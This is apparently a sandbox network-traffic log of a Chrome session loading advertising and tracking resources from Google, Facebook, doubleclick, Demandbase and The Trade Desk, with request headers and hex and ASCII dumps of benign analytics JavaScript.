2024-10-03 08:41:45 UTC	4137	IN	Data Raw: 69 66 28 73 5f 63 5f 69 6c 5b 31 5d 2e 64 6f 50 6f 73 74 62 61 63 6b 73 29 73 5f 63 5f 69 6c 5b 31 5d 2e 64 6f 50 6f 73 74 62 61 63 6b 73 28 7b 22 73 74 75 66 66 22 3a 5b 5d 2c 22 75 75 69 64 22 3a 22 37 37 30 36 33 35 32 34 35 33 38 36 34 36 30 37 32 32 37 31 34 37 39 32 31 33 32 35 39 34 34 35 30 39 38 36 38 31 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 74 69 64 22 3a 22 4d 30 64 52 59 6f 46 58 51 77 59 3d 22 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 32 31 22 2c 22 74 74 6c 22 3a 31 34 34 30 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 30 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 30 2c 22 75 72 6c 22 3a 5b 22 2f 2f 61 61 2e 61 67 6b 6e 2e 63 6f 6d 2f 61 64 73 63 6f 72 65 73 2f 67 2e 70 69 78 65 6c 3f Data Ascii: if(s_c_il[1].doPostbacks)s_c_il[1].doPostbacks({"stuff":[],"uuid":"77063524538646072271479213259445098681","dcs_region":6,"tid":"M0dRYoFXQwY=","ibs":[{"id":"21","ttl":14400,"tag":"img","fireURLSync":0,"syncOnPage":0,"url":["//aa.agkn.com/adscores/g.pixel?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50003	142.250.186.130	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:45 UTC	542	OUT	GET /ddm/fls/z/dc_pre=CO2zmbDo8YgDFT2O_Qcd2rk2QQ;src=9504840;type=pagev0;cat=homep0;ord=1246699449049.1533 HTTP/1.1 Host: adservice.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:45 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 03 Oct 2024 08:41:45 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:45 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50004	157.240.0.6	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:45 UTC	361	OUT	GET /en_US/fbevents.js HTTP/1.1 Host: connect.facebook.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:45 UTC	1451	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src 'unsafe-inline' .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-10-03 08:41:45 UTC	1702	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2024-10-03 08:41:45 UTC	1	IN	Data Raw: 2f Data Ascii: /
2024-10-03 08:41:45 UTC	14681	IN	Data Raw: 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 74 Data Ascii: * Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wit
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 63 21 3d 6e 75 6c 6c 26 26 61 21 3d 6e 75 6c 6c 26 26 64 21 3d 6e 75 6c 6c 3f 7b 64 6f 6d 61 69 6e 5f 75 72 69 3a 62 2c 65 76 65 6e 74 5f 74 79 70 65 3a 63 2c 65 78 74 72 61 63 74 6f 72 5f 74 79 70 65 3a 64 2c 69 64 3a 61 7d 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 67 28 61 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 61 29 29 21 3d 3d 22 6f 62 6a 65 63 74 22 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 61 3d 61 2e 65 78 74 72 61 63 74 6f 72 5f 63 6f 6e 66 69 67 3b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 61 29 29 21 3d 3d 22 6f 62 6a 65 63 Data Ascii: c!=null&&a!=null&&d!=null?{domain_uri:b,event_type:c,extractor_type:d,id:a}:null}function g(a){if(a==null\|\|(typeof a==="undefined"?"undefined":i(a))!=="object")return null;a=a.extractor_config;if(a==null\|\|(typeof a==="undefined"?"undefined":i(a))!=="objec
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 20 6b 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6b 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 54 79 70 65 64 22 29 2c 62 3d 61 2e 54 79 70 65 64 3b 61 2e 63 6f 65 72 63 65 3b 61 2e 65 6e 66 6f 72 63 65 3b 61 3d 62 2e 61 72 72 61 79 4f 66 28 62 2e 6f 62 6a 65 63 74 57 69 74 68 46 69 65 6c 64 73 28 7b 61 6c 6c 6f 63 61 74 69 6f 6e 3a 62 2e 6e 75 6d 62 65 72 28 29 2c 63 6f 64 65 3a 62 2e 73 74 72 69 6e 67 28 29 2c 6e 61 6d 65 3a 62 2e 73 74 72 69 6e 67 28 29 2c 70 61 73 73 52 61 74 65 3a 62 2e 6e 75 6d 62 65 72 28 29 7d 29 29 3b 6b 2e 65 78 70 6f 72 74 73 3d 61 7d 29 28 29 Data Ascii: k={exports:{}};k.exports;(function(){"use strict";var a=f.getFbeventsModules("SignalsFBEventsTyped"),b=a.Typed;a.coerce;a.enforce;a=b.arrayOf(b.objectWithFields({allocation:b.number(),code:b.string(),name:b.string(),passRate:b.number()}));k.exports=a})()
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 6a 3d 66 29 3b 66 3d 67 21 3d 6e 75 6c 6c 26 26 74 79 70 65 6f 66 20 67 3d 3d 3d 22 73 74 72 69 6e 67 22 3f 67 3a 6e 75 6c 6c 3b 67 3d 7b 7d 3b 68 21 3d 6e 75 6c 6c 26 26 28 74 79 70 65 6f 66 20 68 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 68 29 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 67 3d 68 29 3b 72 65 74 75 72 6e 20 61 21 3d 6e 75 6c 6c 26 26 63 21 3d 6e 75 6c 6c 3f 5b 61 2c 63 2c 6a 2c 66 2c 67 5d 3a 6e 75 6c 6c 7d 63 3d 6e 65 77 20 61 28 67 29 3b 6c 2e 65 78 70 6f 72 74 73 3d 63 7d 29 28 29 3b 72 65 74 75 72 6e 20 6c 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 Data Ascii: )==="object"&&(j=f);f=g!=null&&typeof g==="string"?g:null;g={};h!=null&&(typeof h==="undefined"?"undefined":i(h))==="object"&&(g=h);return a!=null&&c!=null?[a,c,j,f,g]:null}c=new a(g);l.exports=c})();return l.exports}(a,b,c,d)});f.ensureModuleRegistered(
2024-10-03 08:41:45 UTC	1702	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 28 61 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 61 29 3f 65 5b 61 5d 3a 61 7d 66 75 6e 63 74 69 6f 6e 20 71 28 61 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 68 2c 61 29 3f 68 5b 61 5d 3a 61 7d 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 69 66 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 20 69 73 4e 61 4e 28 61 29 3f 76 6f 69 64 20 30 3a 61 3b 74 72 79 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 Data Ascii: unction p(a){return Object.prototype.hasOwnProperty.call(e,a)?e[a]:a}function q(a){return Object.prototype.hasOwnProperty.call(h,a)?h[a]:a}function r(a){if(typeof a==="string")return a;if(typeof a==="number")return isNaN(a)?void 0:a;try{return JSON.string
2024-10-03 08:41:45 UTC	14682	IN	Data Raw: 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 63 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 2e 6d 61 70 21 3d 6e 75 6c 6c 26 26 61 20 69 6e 20 63 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 2e 6d 61 70 3f 63 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 2e 6d 61 70 5b 61 5d 3a 6e 75 6c 6c 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 21 3d 6e 75 6c 6c 7d 29 3b 66 2e 6c 65 6e 67 74 68 3e 30 26 26 28 74 68 69 73 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 2e 68 61 73 68 21 3d 6e 75 6c 6c 26 26 61 2e 61 70 70 65 6e 64 28 22 68 6d 65 22 2c 74 68 69 73 2e 6d 6f 64 75 6c 65 45 6e 63 6f 64 69 6e 67 73 2e 68 61 73 68 29 2c 61 2e 61 70 70 65 6e 64 28 22 65 78 5f 6d 22 2c 66 2e 6a 6f 69 6e 28 22 2c 22 29 29 29 7d 7d 5d 29 3b 72 65 Data Ascii: ion(a){return c.moduleEncodings.map!=null&&a in c.moduleEncodings.map?c.moduleEncodings.map[a]:null}),function(a){return a!=null});f.length>0&&(this.moduleEncodings.hash!=null&&a.append("hme",this.moduleEncodings.hash),a.append("ex_m",f.join(",")))}}]);re
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 61 6c 73 46 42 45 76 65 6e 74 73 53 65 6e 64 58 48 52 22 29 3b 62 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 76 65 6e 74 73 22 29 3b 76 61 72 20 6c 3d 62 2e 66 69 72 65 64 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 61 2c 62 29 7b 76 61 72 20 63 3d 21 30 2c 64 3d 21 31 2c 65 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 66 3d 62 5b 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 5d 28 29 2c 62 3b 21 28 63 3d 28 62 3d 66 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 63 3d 21 30 29 7b 62 3d 62 2e 76 61 6c 75 65 3b 6c 2e 74 72 69 67 67 65 72 28 61 2c 62 29 7d 7d 63 Data Ascii: alsFBEventsSendXHR");b=f.getFbeventsModules("SignalsFBEventsEvents");var l=b.fired;function m(a,b){var c=!0,d=!1,e=void 0;try{for(var f=b[typeof Symbol==="function"?Symbol.iterator:"@@iterator"](),b;!(c=(b=f.next()).done);c=!0){b=b.value;l.trigger(a,b)}}c
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 2c 6c 28 7b 7d 2c 65 2c 62 28 64 5b 65 5d 29 29 29 7d 2c 7b 7d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 79 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 61 28 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 62 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 64 3d 42 28 65 2c 49 2e 6f 62 6a 65 63 74 28 29 29 3b 65 3d 63 28 4f 62 6a 65 63 74 2e 6b 65 79 73 28 62 29 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 65 29 7b 69 66 28 63 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 66 3d 62 5b 65 5d 2c 67 3d 64 5b 65 5d 3b 66 3d 66 28 67 29 3b 72 65 74 75 72 6e 20 61 28 7b 7d 2c 63 2c 6c 28 7b 7d 2c 65 2c 66 29 29 7d 2c 7b 7d 29 3b 72 65 74 75 72 6e Data Ascii: ,l({},e,b(d[e])))},{})}}function y(a){return function(b){return b==null?null:a(b)}}function z(b){return function(e){var d=B(e,I.object());e=c(Object.keys(b),function(c,e){if(c==null)return null;var f=b[e],g=d[e];f=f(g);return a({},c,l({},e,f))},{});return

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50008	142.250.185.134	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:45 UTC	9808	OUT	GET /ddm/activity/attribution_src_register;crd=Zmxvb2RsaWdodF9jb25maWdfaWQ6IDk1MDQ4NDAKYWR2ZXJ0aXNlcl9kb21haW46ICJodHRwczovL2NvbmN1ci5jb20iCnhmYV9hdHRyaWJ1dGlvbl9pbnRlcmFjdGlvbl90eXBlOiBDT05WRVJTSU9OCmRlYnVnX2tleTogMTQ2NDEzMTc0NTM2NjA3ODQ2MzEKY3RjX2NvbnZlcnNpb25fYnVja2V0OiAxCmFyY2hldHlwZV9pZDogMTIKYXJjaGV0eXBlX2lkOiAxMwphcmNoZXR5cGVfaWQ6IDE0CmFyY2hldHlwZV9pZDogMTUKYXJjaGV0eXBlX2lkOiAxNgphcmNoZXR5cGVfaWQ6IDE3CmFyY2hldHlwZV9pZDogMTgKYXJjaGV0eXBlX2lkOiAxOQphcmNoZXR5cGVfaWQ6IDIwCmFyY2hldHlwZV9pZDogMjEKYXJjaGV0eXBlX2lkOiAxOTg4NjI4NAphcmNoZXR5cGVfaWQ6IDE5ODg2Mjg1CmFyY2hldHlwZV9pZDogMTk4ODYyODYKYXJjaGV0eXBlX2lkOiAxOTg4NjI4NwphcmNoZXR5cGVfaWQ6IDIwNDUyNTYwCmFyY2hldHlwZV9pZDogMjA0NTI1NjEKYXJjaGV0eXBlX2lkOiAyMDQ1MjU2MgphcmNoZXR5cGVfaWQ6IDIwNDUyNTYzCmFyY2hldHlwZV9pZDogNjM4NDcxODY4CmFyY2hldHlwZV9pZDogNjM4NDcxODY5CmFyY2hldHlwZV9pZDogNjM4NDcxODcwCmFyY2hldHlwZV9pZDogNjM4NDcxODcxCmFyY2hldHlwZV9pZDogNjM4NTY5MjA0CmFyY2hldHlwZV9pZDogNjM4NTY5MjA1CmFyY2hldHlwZV9pZDogNjM4NTY5MjA2CmFyY2hldHlwZV9pZDogNjM4NTY5MjA3CmFyY2hldHlwZV9pZDogN [TRUNCATED] Host: ad.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
2024-10-03 08:41:45 UTC	593	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 03 Oct 2024 08:41:45 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50010	18.173.205.127	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:45 UTC	437	OUT	GET /bg9s?x-amz-cf-id=DpnxTuqIcVNSzh_IelQmt-B2za8qM98RVAEHE332OUbIOq6qNqxjYw==&api-version=v3 HTTP/1.1 Host: tag-logger.demandbase.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:46 UTC	585	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 0 Connection: close Last-Modified: Tue, 07 Mar 2023 20:47:02 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 8SdDCdpJvGjkSiMFPv08XcVSgwOMVVmH Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 02:39:41 GMT ETag: "d41d8cd98f00b204e9800998ecf8427e" Vary: Accept-Encoding X-Cache: Error from cloudfront Via: 1.1 20ce720be9c31a6a95223700ba5f8724.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P12 X-Amz-Cf-Id: yhR8XtVwwVLLKQS24PY7yMFh-k4AJZd3UzDrv8QpsrFmL38YpJMNsQ== Age: 21725 Vary: Origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50011	18.172.103.101	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:45 UTC	474	OUT	GET /up_loader.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=74afb848-711b-4442-bde5-d7137629b408; TDCPM=CAESEgoDYWFtEgsI0oTFn6fksT0QBRgFIAEoAjILCNrjub695LE9EAU4AQ..
2024-10-03 08:41:45 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 50297 Connection: close Date: Thu, 03 Oct 2024 02:59:11 GMT Last-Modified: Thu, 03 Oct 2024 02:53:02 GMT ETag: "6456d197d494e7ee00da27310d2f1993" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 7af089de61bb0f71465732ed7f6f3386.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P8 X-Amz-Cf-Id: 7tSsnPJ5E3WqIQWEtqwrr_oJQK32t09yMs8u4wEtAdgfYvyBbLvntw== Age: 20555
2024-10-03 08:41:45 UTC	15849	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 20 20 20 20 2f 2f 20 6c 6f 67 20 72 65 6c 61 74 65 64 0a 20 20 20 20 6c 65 74 20 6c 6f 67 4c 65 76 65 6c 20 3d 20 6e 75 6c 6c 2c 0a 20 20 20 20 20 20 20 20 6c 6f 67 43 61 74 65 67 6f 72 79 20 3d 20 22 28 54 54 44 29 22 3b 0a 20 20 20 20 63 6f 6e 73 74 20 4c 4f 47 5f 4c 45 56 45 4c 53 20 3d 20 5b 22 64 65 62 75 67 22 2c 20 22 69 6e 66 6f 22 2c 20 22 77 61 72 6e 22 2c 20 22 65 72 72 6f 72 22 5d 3b 0a 20 20 20 20 6c 65 74 20 4c 6f 67 67 65 72 20 3d 20 4c 4f 47 5f 4c 45 56 45 4c 53 2e 72 65 64 75 63 65 28 28 28 65 2c 20 74 2c 20 6e 29 20 3d 3e 20 28 65 5b 74 5d 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 65 20 3d Data Ascii: (function () { "use strict"; // log related let logLevel = null, logCategory = "(TTD)"; const LOG_LEVELS = ["debug", "info", "warn", "error"]; let Logger = LOG_LEVELS.reduce(((e, t, n) => (e[t] = function () { const e =
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 2f 2f 69 66 20 28 20 52 65 61 64 79 4f 62 6a 2e 66 6e 2e 74 72 69 67 67 65 72 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 20 20 20 52 65 61 64 79 4f 62 6a 28 20 64 6f 63 75 6d 65 6e 74 20 29 2e 74 72 69 67 67 65 72 28 20 22 72 65 61 64 79 22 20 29 2e 75 6e 62 69 6e 64 28 20 22 72 65 61 64 79 22 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 62 69 6e 64 52 65 61 64 79 3a 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 72 65 61 64 79 4c 69 73 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 Data Ascii: //if ( ReadyObj.fn.trigger ) { // ReadyObj( document ).trigger( "ready" ).unbind( "ready" ); //} } }, bindReady: function () { if (readyList) { return;
2024-10-03 08:41:45 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 73 65 55 72 6c 3a 20 75 69 64 5f 63 6f 6e 66 69 67 2e 62 61 73 65 55 72 6c 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 69 6e 66 6f 28 22 4e 6f 6e 2d 54 54 44 20 61 63 74 6f 72 20 69 6e 69 74 69 61 6c 69 7a 65 64 20 55 49 44 32 20 53 44 4b 2c 20 6d 69 6e 64 20 74 68 Data Ascii: baseUrl: uid_config.baseUrl, }); } } catch (e) { 